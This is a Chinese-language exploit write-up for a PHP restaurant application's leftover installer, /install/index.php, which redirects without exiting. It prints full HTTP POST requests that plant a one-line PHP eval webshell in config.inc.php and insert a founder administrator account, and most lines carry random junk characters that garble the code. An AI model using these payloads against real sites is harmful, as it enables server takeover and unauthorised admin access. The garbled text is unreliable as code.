问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。8 i: v5 K$ k7 b+ i0 a
/ ]9 u) P, _5 a! f3 n<?php
/ S; t @' U+ i- ?$ X. E* Jif(file_exists("../install.lock"))
# e( b6 O. ?/ A+ E* k% I{# D% T" g) {0 R8 g% Z$ E0 c
header("Location: ../");//没有退出) L$ b5 V8 c( F3 C+ v7 q, y, f
}+ K: Y0 w( s, b& z
/ C* b9 F6 E, L4 H% o/ v
//echo 'tst';exit;( x4 r5 `5 E4 r/ y
require_once("init.php");
j4 t& h* a9 Dif(empty($_REQUEST['step']) || $_REQUEST['step']==1)( Z4 V1 E8 { k3 R i6 K/ p% g
{) }) Q$ C5 z% z0 G m" w1 w% q
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
. Y, T) B: Q7 b4 |& ]
y! M! z$ G3 u3 X1、getshell(很危险)0 B# l; c- T* X( ]; m5 E( l7 b5 w
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
4 @, `" t2 h5 X# f" F{
$ N& v: A4 U4 a0 n* u) @$smarty->assign("step",1);
% x) K& j ~2 a' x a$ k$smarty->display("index.html");6 I) z6 j/ G/ L: N, ^7 b, r; X
}elseif($_REQUEST['step']==2)
3 i, j- k/ M$ J7 |* n, b{% D' q8 v7 p/ l$ X9 b7 X; N8 ]. L
$mysql_host=trim($_POST['mysql_host']);& Z8 E3 M t. L
$mysql_user=trim($_POST['mysql_user']);
# _+ I: u. U1 k% H $mysql_pwd=trim($_POST['mysql_pwd']);+ m( V/ a! S G3 [
$mysql_db=trim($_POST['mysql_db']);
3 H9 K8 t) y9 [' c% I& B! e $tblpre=trim($_POST['tblpre']);
L( Y/ ~: O6 s7 ^2 ? $domain==trim($_POST['domain']);! P, d- P5 K. a/ a+ f
$str="<?php \r\n";
( p/ r. `6 \' F6 X8 M $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";# H7 Z+ d. R: r3 |
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
# t( O1 ]- H. x- \ $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";' h* b J8 A: |
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";7 u5 u) e X) q" H- ]
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
) X" ~: Q# F% L. L6 W; [. a $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";4 S2 i4 Q Z3 w' u% ]! H! j1 T
$str.='define("DOMAIN","'.$domain.'");'."\r\n";8 M. q/ a7 M$ m) R
$str.='define("SKINS","default");'."\r\n";
! G7 X5 d% n F- s+ [' J $str.='?>';
& D8 P6 u; [& p2 l9 ?2 L3 | file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件+ @5 L8 f, q; t; q
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马+ Q% F+ N X- W8 B4 U7 O. k
POST /canting/install/index.php?m=index&step=2 HTTP/1.1% l. d* X8 @# d/ a$ Y3 U l
Host: 192.168.80.129
- A/ d3 L- D+ P% i! c; i) F: _User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0 `' s* K1 `0 b q
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
7 P! d1 i' {: Y1 g; c7 sAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 G6 ^: c% [4 J- Q/ q) C( l
Accept-Encoding: gzip, deflate
1 E3 M" h* j* m- MReferer: http://192.168.80.129/canting/install/index.php?step=16 g* t: E1 _ c: D' N+ T8 W
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
}& D. }9 b4 ]Content-Type: application/x-www-form-urlencoded
1 t, j+ l5 R1 q% b( KContent-Length: 126
, g" c q+ U, n y
+ i {5 Z' m" C \mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD8 v; u/ |, C+ \2 ]6 s! [+ t
但是这个方法很危险,将导致网站无法运行。% ?5 n$ H; D! ?( l; C
, c, I* R6 X' g3 v' F; y; B
2、直接添加管理员" |/ j* }5 s8 D7 G
; T/ x* D) N& S) s& o. m
elseif($_REQUEST['step']==5)
5 f! x) N5 L2 h{" u% h$ O" T2 X4 f' ^
if($_POST)+ p9 U% F5 S7 a# i3 @' ^
{ require_once("../config/config.inc.php");8 ]$ Q8 S1 A/ C6 O' {4 } a% G
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
' Z0 k7 X) I5 Q: L- s mysql_select_db(MYSQL_DB,$link);" l! W3 n* p( C; p6 E# ^( P+ u9 g
mysql_query("SET NAMES ".MYSQL_CHARSET );
6 C+ j9 E, E, W8 ^ mysql_query("SET sql_mode=''");' @1 m9 g' m, w- e; K$ V" s
; X5 ^; b+ r" D9 y' q/ U
$adminname=trim($_POST['adminname']);8 }: ^; f: X* A9 O; l; N) i
$pwd1=trim($_POST['pwd1']);0 V) J* |9 L Z7 p; |- V
$pwd2=trim($_POST['pwd2']);
* R! k6 l& v+ j if(empty($adminname))
9 ~0 N3 I3 ^" c" C$ T1 _& |( d' Y {6 w4 A% z7 h* U+ S" \/ x: B$ \
% [+ l5 A' m2 a
echo "<script>alert('管理员不能为空');history.go(-1);</script>";7 R3 B9 i# W" q9 x4 Q- ?
exit();
# V8 S6 I' `$ A+ [, R$ | }% e) I) @9 _! y; z
if(($pwd1!=$pwd2) or empty($pwd1))# }! X4 C% f& C* Z. J
{
& b" t( G: K1 F, V2 X echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出 L3 M/ e( U8 u; _* t) U
}
5 ^: i4 w% B$ v; P mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
$ A, W" ]" X+ p ]; o* v6 h5 e }
* \: |: I% m9 S( J& i, |9 U这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:" x% M2 y4 ]% l! _0 e9 z
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
5 `" x. O5 {/ G. O" z/ f8 oHost: 192.168.80.129
( n# h5 i+ V- n' T4 x& ?* B: Y( dUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
; N. h# }( l% ?* F: w( _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
7 u9 G L& m+ T7 ?" UAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3+ J* p S" X$ B! S. U, B! p
Accept-Encoding: gzip, deflate; S8 W0 ~% X6 V
Referer: http://www.2cto.com /canting/install/index.php?step=1
& f) t" B; a; |3 D1 gCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc421 Z& }& J. P) e. ?+ I
Content-Type: application/x-www-form-urlencoded: p) I+ P ]$ R) Q% Q
Content-Length: 46
9 x0 F" K, T' w4 r1 j, q5 B# |
1 K; v: S/ T" o! fadminname=qingshen&pwd1=qingshen&pwd2=qingshen
6 n8 [8 v7 N' ] |